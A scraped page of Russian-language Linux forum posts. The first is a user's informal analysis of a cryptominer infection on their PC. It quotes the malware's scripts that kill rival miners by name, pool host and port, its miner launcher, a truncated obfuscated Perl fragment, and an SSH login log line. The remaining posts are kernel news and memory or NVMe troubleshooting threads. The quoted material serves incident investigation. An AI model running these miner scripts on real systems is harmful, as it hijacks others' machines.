В ./a/upd немного логики и запуск ./run и далее по цепочке, множество переходов вплоть до ./b где если сервер смотрит попой в мир с белым ip то всё, удалённый доступ есть по ключу. Но перед тем как запустится оно проверяте кучу майреров и пытается их убить лол )))))

Вон их скока всяких бывает


	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall ld-linux
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep Donald| awk '{print $2}'|xargs kill -9
	ps auxf|grep Macron| awk '{print $2}'|xargs kill -9
	ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9

	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f Donald
	pkill -f Macron
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	pkill -f ld-linux

И это ещё не всё, лол.

Оно даже по портам своих друзей по роду ищет

	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 138.199.40.233:9137 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.150.117.29 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

И только восле всех приготовлений, когда оно готово единолично майнить оно себя запускает

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
	if [ "$ARCH" == "i686" ]; then
		nohup ./anacron >>/dev/null & 
	elif [ "$ARCH" == "x86_64" ];   then
		./kswapd0
	fi
echo $! > bash.pid

К слову ./anacron у меня небыло.

Ещё оно содержит base64 строку которая декодируясь отдаётся в perl

eval unpack u=>q{_(R`@("`@("`@("`M($%D:6-I;VYA9&\@8V]M8 и так далее в этом виде дохрена перлоты

Всё. Я спать.

UPDATE3 АААААААААААААААААААААААААААААААААААААААААА

Я встал, а вдруг меня брутфорснули, короче смотрю сюда grep -in Accept /var/log/auth.log

И Уоооооооооопааааааанааааа

... 
25515:Sep 13 00:03:55 gnu sshd[250080]: Accepted password for gogs from 222.232.242.116 port 56529 ssh2
...

Чиииииииииииивоооооооооооооооо? Каким хером? Ай пи 222.232.242.116 South Korea🇰🇷 Seoul Seoul

Как оно пробралось? Вернее как он с внешнего ip ко мне в локалхост пришёл? Яж за провайдером? Или тут gogs мог подсобить туннель организовав? Я нихера не понял.

Судя по времени 00:03:55 коннект по ssh был до создания файлов 00∶31∶38.

UPDATE4: https://savepearlharbor.com/?p=296720

Я не первый https://savepearlharbor.com/?p=296720 GOGS тут походу не причём, меня просто каким то хером с внешнего ip хотя у меня мой динамический подконектились к моему пк. Лол.

Как? Я не догоняю и очень хочу спать. Оборудование провайдера похакано и оно во внутренней сети брутфорсит? Отпишите. А мне насрать я точно рпять спать. вСё.

 , , , ,

LINUX-ORG-RU
()

В Linux 5.15 добавлен системный вызов для быстрого освобождения памяти умирающего процесса

Новости — Ядро Linux
Группа Ядро Linux

Новый системный вызов называется process_mrelease и позволяет ускорить освобождение памяти, используемой процессом, получившим сигнал SIGKILL. process_mrelease получает два параметра: pid умирающего процесса и flags. В текущей реализации параметр flags не используется и должен иметь значение 0, однако будущем функциональность системного вызова может быть расширена. Возвращаемые значения: 0 при успешном выполнении и -1 если произошла ошибка, код которой передаётся через errno.

Новая функциональность может быть использована в сервисах наподобие systemd-oomd и lmkd.

( читать дальше... )

>>> Подробности

 , , ,

hummer
()

Всё что имеет начало, имеет и конец: Кон Коливас покидает разработку патчей для ядра

Форум — Talks

Собственно все устают, особенно если работать приходится без поддержки и признания, практически 10 лет человек вкладывался в разработку ядра, и еще 10 лет в поддержку созданных им патчей.
Время и возможности для усилий не бесконечны, особенно учитывая то, что пользовались его патчами достаточно немногие.

Con wrote on his blog, «I'm once again left wondering if I should be bothering with maintaining this patch-set, as I've mentioned before on this blog. The size of my user-base seems to be diminishing with time, and I'm getting further and further out of touch with what's happening in the linux kernel space at all, with countless other things to preoccupy me in my spare time.»

He further added, «There is always the possibility that mainline linux kernel will be so bad that I'll be forced to create a new kernel of my own out of disgust, which is how I got here in the first place, but that looks very unlikely. Many of you would have anticipated this coming after my last motivation blog-post, but unless I can find the motivation to work on it again, or something comes up that gives me a meaningful reason to work on it, I will have to sadly declare 5.12-ck the last of the MuQSS and -ck patches.»

C Фороникса: https://www.phoronix.com/scan.php?page=news_item&px=Con-Kolivas-EOL-MuQSS-CK

 ,

Sylvia
()

Пацаны, Столлман едет в Киев!

Форум — Talks

Для не-"Ъ": https://www.opennet.ru/opennews/art.shtml?num=55681

Для "Ъ": RMS выступит хэдлайнером OSDNConf 2021. Сие священнодействие произойдёт 18 сентября в Киеве, пр. Победы, 84, в "Нивки-холле".

 , ,

Korchevatel
()

Почему при высокой дисковой нагрузке (и 12309) случаются зависания?

Форум — General

Собственно, сабж. Возьмем для примера 12309. Перекидываем что-нибудь жирное с ssd на допотопную USB 2.0 флешку. Естественно, данные считываются с ssd в память быстрее, чем пишутся на тормозную флешку. Если данных действительно много, они все не влезут в объем памяти, заданный параметром vm.dirty_ratio, который по-умолчанию равен 40% от объема памяти (предположим, у нас ее не больше 8 гигабайт). Возрастает iowait. Система зависает. При этом для работы памяти достаточно (запущены файловый менеджер и огнелис с парой вкладок плюс графическая оболчка). Так вот, почему стопорятся задачи, никак не связанные с записью на флешку (это даже не системный диск!)? Они не получают процессорного времени? А почему ядро не может вынести запись в отдельный поток? Почему ядро не отдает ресурсы процессора другим процессам? Ведь юникс изначально многозадачная система, и адаптация линукса к многоядерным процессорам произошла тогда, когда они стали массово доступными.

 , , , ,

hateWin
()

Linux и непонятки с использованием ОЗУ

Форум — Desktop

Привет, ЛОР! Есть такой интересный и весьма странный вопрос: куда делось 600мб ОЗУ в linux? Я открывал neofetch в linux и он показывал 3373мб. Я конечно все понимаю, комп может так сказать резервировать память но не настолько много. Есть этому какое либо объяснение?

Примечание: рядом с linux стоит windows 7. Специально в windows открывал диспетчер задач и смотрел быстродействие, и там как не странно он использует все 4гб оперативы а не 3,3гб как linux

 , , ,

Dumppper001
()

Еще раз про память

Форум — General

Привет. В продолжение активизировавшейся в последнее время дискуссии про обрабутку нехватки памяти в линуксе. По совету hakavlad отрубил дисковый свап. Привел /etc/sysctl.conf к такому виду:

vm.dirty_background_bytes=2048000
vm.dirty_bytes=4096000
vm.swappiness=150
vm.overcommit_memory=2
vm.vfs_cache_pressure=500

На tail /dev/zero, по моим ощущениям, реагирует быстрее systemd-oomd и пред приходом киллера не происходит полного зависания (я смог открыть кдешное меню). Сейчас запустил перекодирование тяжелого видео в ffmpeg. Программное кодирование h264 в 4 потока. Раньше при таком количестве потоков система вешалась. Сейчас работает, хоть и с подлагиваниями. Я смог запустить огнелис и okular уже после того, как заработал ffmpeg. Иногда кеды задумываются при переключении на другой рабочий стол. Но в целом работать можно. Да начнется срач конструктивный диалог.

 , , , ,

hateWin
()

Когда починят «ускоренное» копирование файлов в Linux?

Форум — Talks

Итак, дано: Ubuntu 16.04.4, Fedora 27.

И там и там есть один баг, которому уже много лет, я даже честно не знаю сколько.

Суть бага: прогресс показывает сначала очень высокую скорость копирования, доходит до отметки примерно в 60% и врубает тормоза. У меня бывало так, что на Ubuntu 2-3 гигабайта копировались на флешку за пару секунд, а потом удовольствие растягивалось еще на 20 минут, при этом объем передаваемых данных равен 8 гб, понятное дело, что это баг, но ему уже сколько лет! Когда починят то? Забавно, но cp при этом показывает равномерную скорость копирования и в серверной Ubuntu я спокойно копирую данные в 500 гигабайт между ЖД без проблем.

Но у меня Linux на десктопе и черт побери, он в 2018 еще не готов для массового пользования, когда такие детские баги вылезают.

 ,

fman2
()

Убунтята, не проходите мимо: le9 patch добавлен в linux-xanmod и ваш OOM killer будет вылечен

Форум — General

Тред https://forum.xanmod.org/thread-4102-post-7572.html

Патч https://github.com/hakavlad/le9-patch

В чем дело?

Линуксы зависают при нехватке памяти: Линукс ядро не может мягко обрабатывать ситуации с нехваткой памяти

Решение: запрет на вытеснение определенного объема файловых страниц. Это обеспечивает этот самый патч, и киллер приходит быстро, система не виснет.

Патч принят в pf-kernel и linux-xanmod. linux-xanmod предоставляет бинарные сборки для deb-дистрибутивов.

Скачать бесплатно https://xanmod.org/

 , , ,

hakavlad
()

Linux 5.13

Новости — Ядро Linux
Linux 5.13
Группа Ядро Linux

Линус Торвальдс анонсировал новую версию ядра Linux 5.13, отдельно подчеркнув, что это самый большой релиз по количеству проделанной работы!

После седьмого релиз-кандидата у нас была довольно спокойная неделя, и я не вижу причин откладывать релиз версии 5.13. Изменений за последнюю неделю мало, всего 88 коммитов не считая слияний (и некоторые из них просто откаты). Это не особо важные исправления и поскольку их мало, я предлагаю людям просто просмотреть прилагаемый список изменений, чтобы узнать, что произошло. В целом в 5.13 очень много изменений. Фактически, это один из самых крупных релизов 5.х с более чем 16 тысячами коммитов (более 17 тысяч, если считать слияния) от более чем 2 тысяч разработчиков. Однако, все эти изменения затронули всё и понемногу, поэтому трудно выделить что-то одно…

Наиболее значимые изменения:

  • LSM-модуль Landlock для дополнительного ограничения процессов (подробности);
  • возможность сборки в Clang с защитой CFI (Control Flow Integrity) (подробности);
  • рандомизация стека ядра для каждого системного вызова;
  • поддержка одновременного сброса TLB;
  • поддержка чипов М1 (пока на начальной стадии);
  • поддержка новых GPU от Intel и AMD;
  • возможность прямого вызова функций ядра из BPF-программ (подробности);
  • виртуальное звуковое устройство на базе virtio;
  • multi-shot режим в io_uring.

( читать дальше... )

>>> Подробности

 , , ,

claire
()

Запись на NVME вешает систему на сервере HP DL580

Форум — Linux-hardware

Всех приветствую! Прошу помочь советом/подсказкой по следующему вопросу: Имеется 2шт PCIE Intel Optane P3605 1.6TB c последней прошивкой на них (8DV1RA13). Прошивка BIOS сервера DL580 тоже обновлена до последней версии. При продолжительной записи больших объемов данных (от ~50Гб до 500Гб) на любой из nvme вешается операционная система (Пробовались CentOS 7, Ubuntu 20.04(ядра 5.4, 5.8), openSUSE 15.0).

Виснет рандомно относительно записанного объема (может и на ~50Гб и на ~100Гб и т.д.), но стабильно зависнет если лить файл 500Гб! От ФС это никак не зависит, т.к. пробовалось записывать и напрямую в устройство:

sudo dd if=/dev/zero of=/dev/nvme0n1 bs=1G count=600 status=progress

НО! Если записывать с флагом oflag=direct, то запись всегда проходит нормально:

sudo dd if=/dev/zero of=/dev/nvme0n1 bs=1G count=600 oflag=direct status=progress

Пробовались следующие флаги ядра (безуспешно):nvme_core.default_ps_max_latency_us=0 pcie_aspm=off acpi=off

Вот примеры ошибок которые можно наблюдать в dmesg:

[  699.476926] ------------[ cut here ]------------
[  699.476931] kernel BUG at fs/ext4/inode.c:2339!
[  699.476945] invalid opcode: 0000 [#1] SMP PTI
[  699.476951] CPU: 4 PID: 564 Comm: kworker/u129:2 Tainted: P           OE     5.4.0-72-generic #80-Ubuntu
[  699.476952] Hardware name: HP ProLiant DL580 G7, BIOS P65 05/21/2018
[  699.476967] Workqueue: writeback wb_workfn (flush-9:0)
[  699.476974] RIP: 0010:mpage_process_page_bufs+0xb4/0x120
[  699.476978] Code: 8b 02 25 00 12 00 00 89 47 38 48 8b 52 08 83 c3 01 48 39 f2 75 9f 8b 47 34 85 c0 74 5b 31 c0 44 39 e3 5b 41 5c 0f 92 c0 5d c3 <0f> 0b 3d ff 07 00 00 77 a0 8b 4f 30 01 c1 39 cb 75 97 48 8b 0a 44
[  699.476980] RSP: 0018:ffffa2090e33b910 EFLAGS: 00010202
[  699.476983] RAX: 98ec322dca35fbdc RBX: 000000000101b3c0 RCX: 000000000000000c
[  699.476984] RDX: ffff916df1800068 RSI: ffff916df1800068 RDI: ffffa2090e33ba90
[  699.476986] RBP: ffffa2090e33b920 R08: 0000001245ce9000 R09: ffffffffffffffff
[  699.476987] R10: ffff916e01ffd690 R11: 0000000000000000 R12: 0000000001245ce9
[  699.476989] R13: ffffdbd2e2c7e380 R14: ffff912d6634a8e8 R15: ffffa2090e33ba90
[  699.476991] FS:  0000000000000000(0000) GS:ffff912d9f900000(0000) knlGS:0000000000000000
[  699.476993] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  699.476995] CR2: 0000563b26aef008 CR3: 0000003ab8c0a000 CR4: 00000000000006e0
[  699.476996] Call Trace:
[  699.477004]  mpage_prepare_extent_to_map+0x1ee/0x2d0
[  699.477010]  ext4_writepages+0x5ab/0x950
[  699.477018]  ? update_nohz_stats+0x44/0x60
[  699.477024]  ? cpumask_next_and+0x1e/0x20
[  699.477027]  ? update_sd_lb_stats+0x6d2/0x7d0
[  699.477036]  do_writepages+0x43/0xd0
[  699.477038]  ? mpage_map_and_submit_extent+0x4b0/0x4b0
[  699.477040]  ? do_writepages+0x43/0xd0
[  699.477042]  ? find_busiest_group+0x49/0x520
[  699.477045]  __writeback_single_inode+0x40/0x300
[  699.477048]  writeback_sb_inodes+0x22d/0x4b0
[  699.477052]  __writeback_inodes_wb+0x56/0xf0
[  699.477054]  wb_writeback+0x20c/0x2f0
[  699.477057]  ? 0xffffffff88000000
[  699.477059]  ? cpumask_next+0x1b/0x20
[  699.477062]  wb_workfn+0x3a5/0x4f0
[  699.477066]  ? ttwu_do_activate+0x5b/0x70
[  699.477074]  process_one_work+0x1eb/0x3b0
[  699.477077]  worker_thread+0x4d/0x400
[  699.477081]  kthread+0x104/0x140
[  699.477083]  ? process_one_work+0x3b0/0x3b0
[  699.477086]  ? kthread_park+0x90/0x90
[  699.477094]  ret_from_fork+0x35/0x40
[  699.477097] Modules linked in: dm_multipath scsi_dh_rdac scsi_dh_emc scsi_dh_alua snd_hda_codec_hdmi intel_powerclamp ipmi_ssif coretemp snd_hda_intel snd_intel_dspcfg snd_hda_codec joydev input_leds kvm_intel snd_hda_core kvm snd_hwdep snd_pcm snd_timer intel_cstate serio_raw snd soundcore hpilo ipmi_si ipmi_devintf ipmi_msghandler i7core_edac mac_hid acpi_power_meter nvidia_uvm(OE) sch_fq_codel ip_tables x_tables autofs4 btrfs zstd_compress raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid0 multipath linear nvidia_drm(POE) nvidia_modeset(POE) nvidia(POE) radeon i2c_algo_bit ttm drm_kms_helper syscopyarea sysfillrect sysimgblt raid1 fb_sys_fops hid_generic usbhid nvme uas gpio_ich hpsa usb_storage nvme_core psmouse drm hid pata_acpi lpc_ich scsi_transport_sas netxen_nic
[  699.477151] ---[ end trace 2cc63b9800bd0a9b ]---
[  618.000536] general protection fault: 0000 [#1] SMP PTI                                                                                                                                                [86/1065]
[  618.000536] CPU: 8 PID: 445 Comm: kworker/8:1H Tainted: P           OE     5.4.0-72-generic #80-Ubuntu 
[  618.000536] Hardware name: HP ProLiant DL580 G7, BIOS P65 05/21/2018                                                                                                                                            
[  618.000536] Workqueue: kblockd blk_mq_run_work_fn                                                     
[  618.000536] RIP: 0010:__kmalloc+0xa9/0x290                                                            
[  618.000536] Code: 08 65 4c 03 05 70 b7 d7 7a 49 83 78 10 00 4d 8b 20 0f 84 a5 01 00 00 4d 85 e4 0f 84 9c 01 00 00 41 8b 41 20 49 8b 39 4c 01 e0 <48> 8b 18 48 89 c1 49 33 99 70 01 00 00 4c 89 e0 48 0f c9 48 31
 cb                                                                                                                                                                                                                
[  618.000892] RSP: 0018:ffffb2b1c0d9bb68 EFLAGS: 00010282
[  618.001042] RAX: 9bfc73113d72df64 RBX: 0000000000000000 RCX: 0000000000000009
[  618.003055] RDX: 000000000000f9cd RSI: 0000000000092a20 RDI: 00000000000301a0
[  618.003055] RBP: ffffb2b1c0d9bb98 R08: ffff9974ff6301a0 R09: ffff9974f3006840
[  618.003282] R10: 0000000000000001 R11: ffff9974e3c87a00 R12: 9bfc73113d72df64
[  618.003282] R13: 0000000000092a20 R14: 0000000000000fe8 R15: ffff9974f3006840
[  618.003288] FS:  0000000000000000(0000) GS:ffff9974ff600000(0000) knlGS:0000000000000000
[  618.003288] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033                           
[  618.003290] CR2: 000055ffdbfa6f28 CR3: 0000000bf8e0a000 CR4: 00000000000006e0
[  618.003290] Call Trace:                                                                               
[  618.003290]  ? mempool_kmalloc+0x17/0x20
[  618.003290]  mempool_kmalloc+0x17/0x20                                                                                                                                                                          
[  618.003290]  mempool_alloc+0x64/0x180                                                                                                                                                                           
[  618.003290]  ? dma_pool_alloc+0xa2/0x1e0                                                                                                                                                                        
[  618.003290]  nvme_map_data+0x63/0x990 [nvme]                                                                                                                                                                    
[  618.003290]  ? blk_add_timer+0x5b/0xa0          
[  618.003290]  nvme_queue_rq+0xa2/0x1d0 [nvme]
[  618.003290]  blk_mq_dispatch_rq_list+0x93/0x610                                                                                                                                                                 
[  618.003297]  ? blk_mq_flush_busy_ctxs+0xf7/0x110                                                      
[  618.003297]  blk_mq_sched_dispatch_requests+0x162/0x180
[  618.003297]  __blk_mq_run_hw_queue+0x5a/0x110                                                         
[  618.003297]  blk_mq_run_work_fn+0x1b/0x20                                                             
[  618.003304]  process_one_work+0x1eb/0x3b0                                                             
[  618.003304]  worker_thread+0x4d/0x400                                                                 
[  618.003304]  kthread+0x104/0x140                                                                      
[  618.003311]  ? process_one_work+0x3b0/0x3b0
[  618.003311]  ? kthread_park+0x90/0x90                                                                 
[  618.003311]  ret_from_fork+0x35/0x40                                                                  
[  618.003311] Modules linked in: dm_multipath scsi_dh_rdac scsi_dh_emc scsi_dh_alua snd_hda_codec_hdmi snd_hda_intel snd_intel_dspcfg snd_hda_codec input_leds joydev mac_hid snd_hda_core snd_hwdep snd_pcm intel
_powerclamp snd_timer snd coretemp soundcore kvm_intel hpilo i7core_edac ipmi_si ipmi_devintf kvm ipmi_msghandler intel_cstate serio_raw nvidia_uvm(OE) sch_fq_codel ip_tables x_tables autofs4 btrfs zstd_compress
 raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear nvidia_drm(POE) nvidia_modeset(POE) radeon i2c_algo_bit nvidia(POE) ttm drm_kms_help
er syscopyarea hid_generic sysfillrect sysimgblt gpio_ich usbhid fb_sys_fops uas hpsa nvme psmouse hid usb_storage drm lpc_ich pata_acpi scsi_transport_sas nvme_core netxen_nic
[  618.043362] ---[ end trace 41e6ea2bfdc8eae9 ]---

доп информация:

# intelmas show -smart -intelssd 0
- 0 Intel SSD DC P3600 Series CVMD511500H31P6KGN -

Bootloader : 8B1B012E
Capacity : 1600.32 GB
CurrentPercent : 100.00
DevicePath : /dev/nvme0n1
DeviceStatus : Healthy
Firmware : 8DV1RA13
FirmwareUpdateAvailable : No known update for SSD. If an update is expected, please contact your SSD Vendor representative about firmware update for this drive.
Index : 0
MaximumLBA : 3125627567
ModelNumber : INTEL SSDPEDME016T4S
NamespaceId : 1
ProductFamily : Intel SSD DC P3600 Series
SMARTEnabled : True
SectorDataSize : 512
SerialNumber : CVMD511500H31P6KGN


#free -h
              total        used        free      shared  buff/cache   available
Mem:          377Gi       460Mi       376Gi       1.0Mi       472Mi       375Gi
Swap:          12Gi          0B        12Gi

#cat  /sys/block/nvme0n1/queue/write_cache
write through

#cat /sys/block/nvme0n1/queue/max_hw_sectors_kb
128

#cat  /sys/block/nvme0n1/queue/max_sectors_kb
128

#cat  /sys/block/nvme0n1/queue/nr_requests
1023

Со всеми этими параметрами пробовали играться, пока безрезультатно.

Update1:

Пробовали менять следующие значения (безрезультатно):

vm.dirty_background_bytes
vm.dirty_background_ratio
vm.dirty_background_ratio
vm.dirty_expire_centisecs
vm.dirty_ratio
vm.dirty_writeback_centisecs

Например:

$ sudo sysctl -a|grep vm.dirty_
vm.dirty_background_bytes = 1048576
vm.dirty_background_ratio = 0
vm.dirty_bytes = 1048576
vm.dirty_expire_centisecs = 1
vm.dirty_ratio = 0
vm.dirty_writeback_centisecs = 1

Smart:

#sudo nvme smart-log /dev/nvme0n1 
Smart Log for NVME device:nvme0n1 namespace-id:ffffffff
critical_warning                    : 0
temperature                         : 37 C
available_spare                     : 100%
available_spare_threshold           : 10%
percentage_used                     : 0%
data_units_read                     : 2,101,367
data_units_written                  : 3,015,266
host_read_commands                  : 756,212,170
host_write_commands                 : 112,599,228
controller_busy_time                : 60
power_cycles                        : 135
power_on_hours                      : 30,683
unsafe_shutdowns                    : 100
media_errors                        : 0
num_err_log_entries                 : 0
Warning Temperature Time            : 0
Critical Composite Temperature Time : 0
Thermal Management T1 Trans Count   : 0
Thermal Management T2 Trans Count   : 0
Thermal Management T1 Total Time    : 0
Thermal Management T2 Total Time    : 0



#sudo smartctl -a /dev/nvme0n1 
smartctl 7.1 2019-12-30 r5022 [x86_64-linux-5.4.0-72-generic] (local build)
Copyright (C) 2002-19, Bruce Allen, Christian Franke, www.smartmontools.org

=== START OF INFORMATION SECTION ===
Model Number:                       INTEL SSDPEDME016T4S
Serial Number:                      CVMD511500H31P6KGN
Firmware Version:                   8DV1RA13
PCI Vendor ID:                      0x8086
PCI Vendor Subsystem ID:            0x108e
IEEE OUI Identifier:                0x5cd2e4
Controller ID:                      0
Number of Namespaces:               1
Namespace 1 Size/Capacity:          1,600,321,314,816 [1.60 TB]
Namespace 1 Formatted LBA Size:     512
Local Time is:                      Mon May  3 07:38:17 2021 UTC
Firmware Updates (0x02):            1 Slot
Optional Admin Commands (0x0006):   Format Frmw_DL
Optional NVM Commands (0x0006):     Wr_Unc DS_Mngmt
Maximum Data Transfer Size:         32 Pages

Supported Power States
St Op     Max   Active     Idle   RL RT WL WT  Ent_Lat  Ex_Lat
 0 +    25.00W       -        -    0  0  0  0        0       0

Supported LBA Sizes (NSID 0x1)
Id Fmt  Data  Metadt  Rel_Perf
 0 +     512       0         2
 1 -     512       8         2
 2 -     512      16         2
 3 -    4096       0         0
 4 -    4096       8         0
 5 -    4096      64         0
 6 -    4096     128         0

=== START OF SMART DATA SECTION ===
SMART overall-health self-assessment test result: PASSED

SMART/Health Information (NVMe Log 0x02)
Critical Warning:                   0x00
Temperature:                        37 Celsius
Available Spare:                    100%
Available Spare Threshold:          10%
Percentage Used:                    0%
Data Units Read:                    2,101,376 [1.07 TB]
Data Units Written:                 3,015,266 [1.54 TB]
Host Read Commands:                 756,212,370
Host Write Commands:                112,599,228
Controller Busy Time:               60
Power Cycles:                       135
Power On Hours:                     30,683
Unsafe Shutdowns:                   100
Media and Data Integrity Errors:    0
Error Information Log Entries:      0

Error Information (NVMe Log 0x01, max 64 entries)
No Errors Logged

Подскажите в каком направлении дальше копать, уже уйму всего перепробовали.

 , ,

altman2k
()